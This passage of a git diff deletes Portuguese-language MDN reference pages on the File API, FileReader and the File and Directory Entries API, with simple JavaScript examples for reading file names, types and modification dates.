- - API
- - Ficheiros
- - File API
- - Propriedade
- - Referencia
-translation_of: Web/API/File/lastModified
----
-<div>{{APIRef("File")}}</div>
-
-<p>A propriedade <em>read-only</em> <code><strong>File.lastModified</strong></code> indica a ultima data em que o ficheiro foi modificado, na forma do numero de milissegundos desde o início da era Unix (1 de janeiro de 1970 às 00:00:00). Os ficheiros cuja a data da última modificação não é conhecida devolvem a data actual.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">const <em>tempo</em> = <em>instanciaDeFicheiro</em>.lastModified;
-</pre>
-
-<h3 id="Valor">Valor</h3>
-
-<p>Um número que representa o número de milissegundos desde o início da época do Unix.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<h3 id="Leitura_a_partir_da_entrada_do_ficheiro">Leitura a partir da entrada do ficheiro</h3>
-
-<pre class="brush: html notranslate">&lt;input type="file" multiple id="entradaDeFicheiro"&gt;
-</pre>
-
-<pre class="brush:js notranslate">const entradaDeFicheiro = document.querySelector('#entradaDeFicheiro');
-entradaDeFicheiro.addEventListener('change', (event) =&gt; {
- // ficheiros é um objeto de FileList (semelhante a NodeList)
-  const ficheiros = event.target.files;
-
- for (let ficheiro of ficheiros) {
-   const data = new Date(ficheiro.lastModified);
-  console.log(`${ficheiro.name} tem uma última data modificada de ${data}`);
-  }
-});
-</pre>
-
-<p>Veja os resultados abaixo:</p>
-
-<p>{{ EmbedLiveSample('Leitura_a_partir_da_entrada_do_ficheiro', 300, 50) }}</p>
-
-<h3 id="Ficheiros_criados_dinamicamente">Ficheiros criados dinamicamente</h3>
-
-<p>Se um objeto File for criado dinamicamente, a última data modificada pode ser fornecida na função construtor {{domxref("File.File()", "new File()")}}. Se estiver em falta, lastModified herda a hora actual de {{jsxref("Date.now()")}} no momento em que o objeto File é criado.</p>
-
-<pre class="brush:js notranslate">const ficheiroComData = new File([], 'file.bin', {
-  lastModified: new Date(2017, 1, 1),
-});
-console.log(ficheiroComData.lastModified); //devolve 1485903600000
-
-const ficheiroSemData = new File([], 'file.bin');
-console.log(ficheiroSemData.lastModified); //devolve data atual em milissegundos
-</pre>
-
-<h2 id="Reduced_time_precision">Reduced time precision</h2>
-
-<p>To offer protection against timing attacks and fingerprinting, the precision of <code>someFile.lastModified</code> might get rounded depending on browser settings.<br>
- In Firefox, the <code>privacy.reduceTimerPrecision</code>  preference is enabled by default and defaults to 20us in Firefox 59; in 60 it will be 2ms.</p>
-
-<pre class="brush: js notranslate">// reduced time precision (2ms) in Firefox 60
-someFile.lastModified;
-// 1519211809934
-// 1519211810362
-// 1519211811670
-// ...
-
-
-// reduced time precision with `privacy.resistFingerprinting` enabled
-someFile.lastModified;
-// 1519129853500
-// 1519129858900
-// 1519129864400
-// ...
-</pre>
-
-<p>In Firefox, you can also enabled <code>privacy.resistFingerprinting</code>, the precision will be 100ms or the value of <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, whichever is larger.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('File API', '#file-attrs', 'lastModified')}}</td>
- <td>{{Spec2('File API')}}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.File.lastModified")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("File")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/file/lastmodifieddate/index.html b/files/pt-pt/web/api/file/lastmodifieddate/index.html
deleted file mode 100644
index 10d5d8c932..0000000000
--- a/files/pt-pt/web/api/file/lastmodifieddate/index.html
+++ /dev/null
@@ -1,80 +0,0 @@
----
-title: File.lastModifiedDate
-slug: Web/API/File/lastModifiedDate
-tags:
- - API
- - Ficheiros
- - File
- - File API
- - Obsoleto
- - Propriedade
- - Read-only
- - Referencia
- - lastDateModified
-translation_of: Web/API/File/lastModifiedDate
----
-<div>{{APIRef("File API") }} {{deprecated_header}}</div>
-
-<p>A propriedade <em>read-only</em> <code><strong>File.lastModifiedDate</strong></code><strong> </strong>devolve a ultima data em que o ficheiro foi modificado. Ficheiros onde a ultima data de modificação é desconhecida devolvem a data atual.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="notranslate">var time = <em>instanceOfFile</em>.lastModifiedDate</pre>
-
-<h3 id="Valor">Valor</h3>
-
-<p>Um objeto <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code> a indicar a data e hora da ultima modificação ao ficheiro.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush:js notranslate">// fileInput é um HTMLInputElement: &lt;input type="file" multiple id="myfileinput"&gt;
-var fileInput = document.getElementById("myfileinput");
-
-// files é um objeto de FileList (parecido ao NodeList)
-var files = fileInput.files;
-
-for (var i = 0; i &lt; files.length; i++) {
- alert(files[i].name + " has a last modified date of " + files[i].lastModifiedDate);
-}</pre>
-
-<h2 id="Precisão_reduzida">Precisão reduzida</h2>
-
-<p>Para oferecer proteção contra <em>timing attacks</em> e <em>fingerprinting</em> a precisão de <code>someFile.lastModifiedDate.getTime()</code> pode ser arredondada dependente das preferências no navegador.</p>
-
-<p>No Firefox, a preferência <code>privacy.reduceTimerPrecision</code> está ligada por pré-definição com valores arredondados aos 20μs mais próximos no Firefox 59; e no Firefox 60 aos 2ms.</p>
-
-<pre class="brush: js notranslate">// precisão reduzida (2ms) no Firefox 60
-someFile.lastModifiedDate.getTime();
-// 1519211809934
-// 1519211810362
-// 1519211811670
-// ...
-
-
-// precisão reduzida com a `privacy.resistFingerprinting` ligada
-someFile.lastModifiedDate.getTime();
-// 1519129853500
-// 1519129858900
-// 1519129864400
-// ...
-</pre>
-
-<p>No Firefox, também pode ligar a preferência <code>privacy.resistFingerprinting</code>, a precisão será arredondada aos 100ms mais próximos ou ao valor de <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, o que for maior.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<p>Apesar de estar presente numa versão inicial do esboço do File API <em>spec</em>, esta propriedade foi removida e agora é <em>non-standard</em>. Use antes {{domxref("File.lastModified")}}.</p>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-<div>
-
-
-<p>{{Compat("api.File.lastModifiedDate")}}</p>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("File")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/file/mozfullpath/index.html b/files/pt-pt/web/api/file/mozfullpath/index.html
deleted file mode 100644
index 24e126847f..0000000000
--- a/files/pt-pt/web/api/file/mozfullpath/index.html
+++ /dev/null
@@ -1,17 +0,0 @@
----
-title: File.mozFullPath
-slug: Web/API/File/mozFullPath
-tags:
- - API
- - Ficheiros
- - File
- - File API
- - Non-standard
- - Propriedade
- - Referencia
- - mozFullPath
-translation_of: Web/API/File/mozFullPath
----
-<div>{{APIRef("File API")}}{{draft}}{{Non-standard_header}}</div>
-
-<p><span class="seoSummary">Uma extensão privilegiada para a interface {{domxref("File")}}, a propriedade <code>mozFullPath</code> contém o caminho completo do ficheiro representado.</span> Esta propriedade só está disponível a partir do código do navegador ou de extensões Firefox ao estilo antigo com base no XPCOM. Não está disponível para o conteúdo da web.</p>
diff --git a/files/pt-pt/web/api/file/name/index.html b/files/pt-pt/web/api/file/name/index.html
deleted file mode 100644
index 907a08a8e2..0000000000
--- a/files/pt-pt/web/api/file/name/index.html
+++ /dev/null
@@ -1,74 +0,0 @@
----
-title: File.name
-slug: Web/API/File/name
-tags:
- - API
- - File API
- - Files
- - Propriadade
- - Referencia
-translation_of: Web/API/File/name
----
-<div>{{APIRef("File API")}}</div>
-
-<div>Devolve o nome do ficheiro representado por um objeto {{domxref("File")}}. Por razões de segurança, o caminho é excluído desta propriedade.</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">var <var>name</var> = <var>file</var>.name;</pre>
-
-<h2 id="Valor">Valor</h2>
-
-<p>Uma string, que contem o nome do ficheiro sem o caminho, por exemplo "<code>O meu Resumo.rtf</code>".</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: html notranslate">&lt;input type="file" multiple onchange="processSelectedFiles(this)"&gt;
-</pre>
-
-<pre class="brush: js notranslate">function processSelectedFiles(fileInput) {
- var files = fileInput.files;
-
- for (var i = 0; i &lt; files.length; i++) {
- alert("Filename " + files[i].name);
- }
-}</pre>
-
-<p>Veja os resultados abaixo:</p>
-
-<p>{{ EmbedLiveSample('Exemplo', 300, 50) }}</p>
-
-
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('File API', '#file-attrs', 'name')}}</td>
- <td>{{Spec2('File API')}}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-<div>
-
-
-<p>{{Compat("api.File.name")}}</p>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><em><a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a></em></li>
-</ul>
diff --git a/files/pt-pt/web/api/file/type/index.html b/files/pt-pt/web/api/file/type/index.html
deleted file mode 100644
index 2b448d3086..0000000000
--- a/files/pt-pt/web/api/file/type/index.html
+++ /dev/null
@@ -1,75 +0,0 @@
----
-title: File.type
-slug: Web/API/File/type
-tags:
- - API
- - Ficheiros
- - File API
- - Propriedade
- - Referencia
- - Tipo de Ficheiro
-translation_of: Web/API/File/type
----
-<div>{{APIRef("File API")}}</div>
-
-<p>Retorna a média (<a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME</a>) representado por um objeto {{domxref("File")}}.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="brush: js notranslate">var name = <var>file</var>.type;</pre>
-
-<h2 id="Valor">Valor</h2>
-
-<p>Uma <em>string</em>, que contem o tipo de média (MIME) que indica o tipo do ficheiro, por exemplo "<code>image/png</code>" é devolvido para imagens PNG.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: html notranslate">&lt;input type="file" multiple onchange="showType(this)"&gt;
-</pre>
-
-<pre class="brush: js notranslate">function showType(fileInput) {
- var files = fileInput.files;
-
- for (var i = 0; i &lt; files.length; i++) {
- var name = files[i].name;
-  var type = files[i].type;
- alert("Filename: " + name + " , Type: " + type);
- }
-}</pre>
-
-<div class="blockIndicator note">
-<p><br>
- <strong>Nota:</strong> Baseado na atual implementação, navegadores não leem a <em>bytestream</em> dum ficheiro para determinar a sua média. É feito uma ilação baseada na extensão do ficheiro; uma imagem PNG com uma extensão ".txt" é atribuída o tipo "<code>text/plain</code>" e não "<code>image/png</code>". Além disso, <code>file.type</code> é geralmente fiável apenas para ficheiros comuns como imagens, documentos HTML, áudio e vídeo. Extensões de ficheiros pouco comuns devolveriam uma cadeia de caracteres vazia. A configuração do cliente (por exemplo, o Registo do Windows) pode resultar em valores inesperados mesmo para tipos comuns. <code>Os programadores são aconselhados a não confiar nesta propriedade como o único esquema de validação.</code></p>
-</div>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('File API', '#dfn-type', 'type')}}</td>
- <td>{{Spec2('File API')}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.File.type")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/File/Using_files_from_web_applications">Usar ficheiros de aplicações web</a></li>
- <li>Publicação de blogue (em inglês): <em><a href="https://textslashplain.com/2018/07/26/be-skeptical-of-client-reported-mime-content-types/">Be skeptical of client-reported MIME types</a></em></li>
-</ul>
diff --git a/files/pt-pt/web/api/file/webkitrelativepath/index.html b/files/pt-pt/web/api/file/webkitrelativepath/index.html
deleted file mode 100644
index 35f155c1c6..0000000000
--- a/files/pt-pt/web/api/file/webkitrelativepath/index.html
+++ /dev/null
@@ -1,80 +0,0 @@
----
-title: File.webkitRelativePath
-slug: Web/API/File/webkitRelativePath
-tags:
- - Ficheiro
-translation_of: Web/API/File/webkitRelativePath
----
-<p>{{APIRef("File API")}}</p>
-
-<p>O <strong><code>File.webkitRelativePath</code></strong> é uma propriedade só de leitura que contém um {{domxref("USVString")}} que especifica o caminho do ficheiro em relação ao diretório selecionado pelo utilizador num elemento {{HTMLElement("input")}} com o seu conjunto de atributos {{htmlattrxref("webkitdirectory", "input")}}.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate"> <code><em>relativePath = File</em></code>.webkitRelativePath</pre>
-
-<h3 id="Valor">Valor</h3>
-
-<p>Um {{domxref("USVString")}} que contem o caminho do ficheiro relativo ao diretório dos antepassados que o utilizador selecionou.</p>
-
-<h2 id="Example" name="Example">Exemplo</h2>
-
-<p>Neste exemplo, é apresentado um seletor de diretórios que permite ao utilizador escolher um ou mais diretórios. Quando o evento {{event("change")}} ocorre, é gerada e apresentada uma lista de todos os ficheiros contidos dentro das hierarquias de diretórios selecionados.</p>
-
-<h3 id="Conteúdo_HTML">Conteúdo HTML</h3>
-
-<pre class="brush: html notranslate">&lt;input type="file" id="seletorDeFicheiros" name="listaDeFicheiros" webkitdirectory multiple /&gt;
-&lt;ul id="listagem"&gt;&lt;/ul&gt;</pre>
-
-<h3 id="Conteúdo_JavaScript">Conteúdo JavaScript</h3>
-
-<pre class="brush: js notranslate">document.getElementById("seletorDeFicheiros").addEventListener("change", function(event) {
- let output = document.getElementById("listagem");
- let ficheiros = event.target.files;
-
- for (let i = 0; i &lt; ficheiros.length; i++) {
- let item = document.createElement("li");
- item.innerHTML = ficheiros[i].webkitRelativePath;
- output.appendChild(item);
- };
-}, false);
-</pre>
-
-<h3 id="Resultado">Resultado</h3>
-
-<p>{{ EmbedLiveSample('Example') }}</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('File System API', '#dom-file-webkitrelativepath', 'webkitRelativePath') }}</td>
- <td>{{ Spec2('File System API') }}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<p>Esta IPA não tem especificação oficial do W3C ou do WHATWG.</p>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.File.webkitRelativePath")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="pt-PT/docs/Web/API/File_and_Directory_Entries_API">API de entradas de ficheiros e diretórios</a></li>
- <li>{{domxref("HTMLInputElement.webkitEntries")}}</li>
- <li>{{domxref("HTMLInputElement.webkitdirectory")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/file_and_directory_entries_api/index.html b/files/pt-pt/web/api/file_and_directory_entries_api/index.html
deleted file mode 100644
index 3c3d90dd9f..0000000000
--- a/files/pt-pt/web/api/file_and_directory_entries_api/index.html
+++ /dev/null
@@ -1,192 +0,0 @@
----
-title: API Entradas de Diretoria e Ficheiro
-slug: Web/API/File_and_Directory_Entries_API
-tags:
- - API
- - API Entradas de Diretoria e Ficheiro
- - API Sistema de Ficheiros
- - Ficheiros
- - Não Padrão
- - Referencia
- - Resuno
- - Sinopse
-translation_of: Web/API/File_and_Directory_Entries_API
-original_slug: Web/API/API_Entradas_de_Diretoria_e_Ficheiro
----
-<p>{{DefaultAPISidebar("File System API")}}{{Non-standard_header}}</p>
-
-<p>API Entradas de Diretoria e Ficheiro simula um sistema de ficheiros local em que as páginas da Web podem navegar dentro e aceder aos ficheiros na mesma. Pode desenvolver aplicações que lêem, escrevem e criam ficheiros e/ou diretorias num sistema de ficheiros virtual e ambiente de testes (sandbox).</p>
-
-<div class="note">
-<p>Because this is a non-standard API, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it. Check the {{anch("Browser compatibility")}} section for details.</p>
-</div>
-
-<p>Two very similar APIs exist depending on whether you desire asynchronous or synchronous behavior. The synchronous API is indended to be used inside a {{domxref("Worker")}} and will return the values you desire. The asynchronous API will not block and functions and the API will not return values; instead, you will need to supply a callback function to handle the response whenever it arrives.</p>
-
-<div class="warning">
-<p>The Firefox implementation of the File and Directory Entries API is very limited; there is no support for creating files. Only for accessing files which are selected by the user in a file {{HTMLElement("input")}} element (see {{domxref("HTMLInputElement")}} as well) or when a file or directory is provided to the Web site or app using <a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">drag and drop</a>. Firefox also does not implement the synchronous API. Check the browser compatibility for any part of the API you use carefully, and see <a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">File and Directory Entries API support in Firefox</a> for more details.</p>
-</div>
-
-<h2 id="Obter_acesso_a_um_sistema_de_ficheiros">Obter acesso a um sistema de ficheiros</h2>
-
-<p>There are two ways to get access to file systems defined in the current specification draft:</p>
-
-<ul>
- <li>When handling a {{event("drop")}} event for drag and drop, you can call {{domxref("DataTransferItem.webkitGetAsEntry()")}} to get the {{domxref("FileSystemEntry")}} for a dropped item. If the result isn't <code>null</code>, then it's a dropped file or directory, and you can use file system calls to work with it.</li>
- <li>The {{domxref("HTMLInputElement.webkitEntries")}} property lets you access the {{domxref("FileSystemFileEntry")}} objects for the currently selected files, but only if they are dragged-and-dropped onto the file chooser ({{bug(1326031)}}). If {{domxref("HTMLInputElement.webkitdirectory")}} is <code>true</code>, the {{HTMLElement("input")}} element is instead a directory picker, and you get {{domxref("FileSystemDirectoryEntry")}} objects for each selected directory.</li>
-</ul>
-
-<h2 id="API_Assíncrona">API Assíncrona</h2>
-
-<p>The asynchronous API should be used for most operations, to prevent file system accesses from blocking the entire browser if used on the main thread. It includes the following interfaces:</p>
-
-<dl>
- <dt>{{domxref("FileSystem")}}</dt>
- <dd>Represents a file system.</dd>
- <dt>{{domxref("FileSystemEntry")}}</dt>
- <dd>The basic interface representing a single entry in a file system. This is implemented by other interfaces which represent files or directories.</dd>
- <dt>{{domxref("FileSystemFileEntry")}}</dt>
- <dd>Represents a single file in a file system.</dd>
- <dt>{{domxref("FileSystemDirectoryEntry")}}</dt>
- <dd>Represents a single directory in a file system.</dd>
- <dt>{{domxref("FileSystemDirectoryReader")}}</dt>
- <dd>Created by calling {{domxref("FileSystemDirectoryEntry.createReader()")}}, this interface provides the functionality which lets you read the contents of a directory.</dd>
- <dt>{{domxref("FileSystemFlags")}}</dt>
- <dd>Defines a set of values which are used when specifying option flags when calling certain methods in the <a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a>.</dd>
- <dt>{{domxref("FileError")}}</dt>
- <dd>Represents an error which is generated by asynchronous file system calls.</dd>
-</dl>
-
-<p>There are also two global functions (which are not part of the specification at this time and are implemented only by Google Chrome). They're available on the {{domxref("Window")}} object and implemented in {{domxref("LocalFileSystem")}}: <code>requestFileSystem()</code> and <code>resolveLocalFileSystemURL()</code>.</p>
-
-<h2 id="API_Síncrona">API Síncrona</h2>
-
-<p>The synchronous API is should only be used in {{domxref("Worker")}}s; these calls block until they're finished executing, and simply return the results instead of using callbacks. Using them on the main thread will block the browser, which is naughty. The interfaces below otherwise mirror the ones from the asynchronous API.</p>
-
-<dl>
- <dt>{{domxref("FileSystemSync")}}</dt>
- <dd>Represents a file system.</dd>
- <dt>{{domxref("FileSystemEntrySync")}}</dt>
- <dd>The basic interface representing a single entry in a file system. This is implemented by other interfaces which represent files or directories. {{domxref("EntrySync")}}</dd>
- <dt>{{domxref("FileSystemFileEntrySync")}}</dt>
- <dd>Represents a single file in a file system.</dd>
- <dt>{{domxref("FileSystemDirectoryEntrySync")}}</dt>
- <dd>Represents a single directory in a file system.</dd>
- <dt>{{domxref("FileSystemDirectoryReaderSync")}}</dt>
- <dd>Created by calling {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, this interface provides the functionality which lets you read the contents of a directory.</dd>
- <dt>{{domxref("FileException")}}</dt>
- <dd>Represents an error which is generated by synchronous file system calls.</dd>
-</dl>
-
-<p>There are also two global functions (which are not part of the specification at this time and are implemented only by Google Chrome). They're available on the {{domxref("Worker")}} object and implemented in {{domxref("LocalFileSystemSync")}}: <code>requestFileSystemSync()</code> and <code>resolveLocalFileSystemSyncURL()</code>.</p>
-
-<h2 id="Outras_Interfaces">Outras Interfaces</h2>
-
-<dl>
- <dt>{{domxref("LocalFileSystem")}}</dt>
- <dd>Gives you access to a sandboxed file system.</dd>
- <dt>{{domxref("LocalFileSystemSync")}}</dt>
- <dt> </dt>
- <dt>{{domxref("LockedFile")}}</dt>
- <dd>Provides tools to deal with a given file with all the necessary locks.</dd>
- <dt>{{domxref("Metadata")}}{{experimental_inline}}</dt>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('File System API')}}</td>
- <td>{{Spec2('File System API')}}</td>
- <td>Draft of proposed API</td>
- </tr>
- </tbody>
-</table>
-
-<p>This API has no official W3C or WHATWG specification.</p>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Asynchronous API</td>
- <td>13 {{ property_prefix("webkit") }}</td>
- <td>{{ CompatGeckoDesktop(50) }}<sup>[1]</sup></td>
- <td>{{ CompatNo }}</td>
- <td>{{ CompatNo }}</td>
- <td>{{ CompatNo }}</td>
- </tr>
- <tr>
- <td>Synchronous API</td>
- <td>13 {{ property_prefix("webkit") }}</td>
- <td>{{ CompatNo }}</td>
- <td>{{ CompatNo }}</td>
- <td>{{ CompatNo }}</td>
- <td>{{ CompatNo }}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Asynchronous API</td>
- <td>{{ CompatNo }}</td>
- <td>{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}</td>
- <td>{{ CompatGeckoMobile(50) }}<sup>[1]</sup></td>
- <td>{{ CompatNo }}</td>
- <td>{{ CompatNo }}</td>
- <td>{{ CompatNo }}</td>
- </tr>
- <tr>
- <td>Synchronous API</td>
- <td>{{ CompatNo }}</td>
- <td>{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}</td>
- <td>{{ CompatNo }}</td>
- <td>{{ CompatNo }}</td>
- <td>{{ CompatNo }}</td>
- <td>{{ CompatNo }}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] Firefox 50 introduces partial support for the File and Directory Entries API. Be sure to check the compatibility tables for individual interfaces and methods before using them, to ensure that they're supported, before you use them. The API can be disabled by setting the value of the preference <code>dom.webkitBlink.filesystem.enabled</code> to <code>false</code>.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction">Introdução às API Entradas de diretoria e Ficheiro </a>(inglês)</li>
- <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">File and Directory Entries API support in Firefox </a>(inglês)</li>
-</ul>
diff --git a/files/pt-pt/web/api/filereader/abort/index.html b/files/pt-pt/web/api/filereader/abort/index.html
deleted file mode 100644
index 3ffeae8ce9..0000000000
--- a/files/pt-pt/web/api/filereader/abort/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: FileReader.abort()
-slug: Web/API/FileReader/abort
-tags:
- - API
- - Ficheiros
- - File API
- - FileReader
- - Referencia
- - abort
- - metodo
-translation_of: Web/API/FileReader/abort
----
-<div>{{APIRef("File API")}}</div>
-
-<p>O método <strong><code>abort</code></strong> aborta a operação de leitura. Ao completar o abortamento, o {{domxref("FileReader.readyState","readyState")}} é <code>DONE</code>.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate"><var>instanceOfFileReader</var>.abort();</pre>
-
-<h3 id="Exceções">Exceções</h3>
-
-<dl>
- <dt><code>DOM_FILE_ABORT_ERR</code></dt>
- <dd>Lançado quando <code>abort</code> é chamado enquanto não há uma operação de leitura em progresso (ou seja, quando o <em>state</em> não é <code>LOADING</code>).</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("File API", "#abort", "abort()")}}</td>
- <td>{{Spec2("File API")}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.FileReader.abort")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("FileReader")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/filereader/error/index.html b/files/pt-pt/web/api/filereader/error/index.html
deleted file mode 100644
index b308705d79..0000000000
--- a/files/pt-pt/web/api/filereader/error/index.html
+++ /dev/null
@@ -1,54 +0,0 @@
----
-title: FileReader.error
-slug: Web/API/FileReader/error
-tags:
- - API
- - Ficheiros
- - File API
- - Propriedade
- - Referencia
-translation_of: Web/API/FileReader/error
----
-<div>{{APIRef("File API")}}</div>
-
-<p>A propriedade <code><strong>error</strong></code> de {{domxref("FileReader")}} retorna o erro que ocorreu ao ler o ficheiro.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">var <var>error</var> = <var>instanceOfFileReader</var>.error
-</pre>
-
-<h2 id="Valor">Valor</h2>
-
-<p>Um {{domxref("DOMError")}} com o erro. Em Chrome 48+/Firefox 58+ esta propriedade retorna uma {{domxref("DOMException")}} porque <code>DOMError</code> foi removido do <em>standard</em> do DOM.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("File API", "#dom-filereader-error", "FileReader: error")}}</td>
- <td>{{Spec2("File API")}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.FileReader.error")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("FileReader")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/filereader/index.html b/files/pt-pt/web/api/filereader/index.html
deleted file mode 100644
index 0df369c585..0000000000
--- a/files/pt-pt/web/api/filereader/index.html
+++ /dev/null
@@ -1,172 +0,0 @@
----
-title: FileReader
-slug: Web/API/FileReader
-tags:
- - API
- - DOM
- - File API
- - Files
- - NeedsTranslation
- - Reference
- - TopicStub
- - WebAPI
-translation_of: Web/API/FileReader
----
-<p>{{ APIRef("File API") }}</p>
-
-<h2 id="Summary">Summary</h2>
-
-<p>The <code>FileReader</code> object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using {{ domxref("File") }} or {{ domxref("Blob") }} objects to specify the file or data to read.</p>
-
-<p>File objects may be obtained from a {{ domxref("FileList") }} object returned as a result of a user selecting files using the {{ HTMLElement("input") }} element, from a drag and drop operation's <a href="/En/DragDrop/DataTransfer" title="En/DragDrop/DataTransfer"><code>DataTransfer</code></a> object, or from the <code>mozGetAsFile()</code> API on an {{ domxref("HTMLCanvasElement") }}.</p>
-
-<h2 id="Constructor">Constructor</h2>
-
-<pre class="syntaxbox">FileReader FileReader();</pre>
-
-<p>See <a href="/en/Using_files_from_web_applications" title="en/Using files from web applications">Using files from web applications</a> for details and examples.</p>
-
-<h2 id="Properties" name="Properties">Properties</h2>
-
-<dl>
- <dt>{{domxref("FileReader.error")}} {{readonlyinline}}</dt>
- <dd>A {{domxref("DOMError")}} representing the error that occurred while reading the file.</dd>
- <dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt>
- <dd>A number indicating the state of the <code>FileReader</code>. This will be one of the {{ anch("State constants") }}.</dd>
- <dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt>
- <dd>The file's contents. This property is only valid after the read operation is complete, and the format of the data depends on which of the methods was used to initiate the read operation.</dd>
-</dl>
-
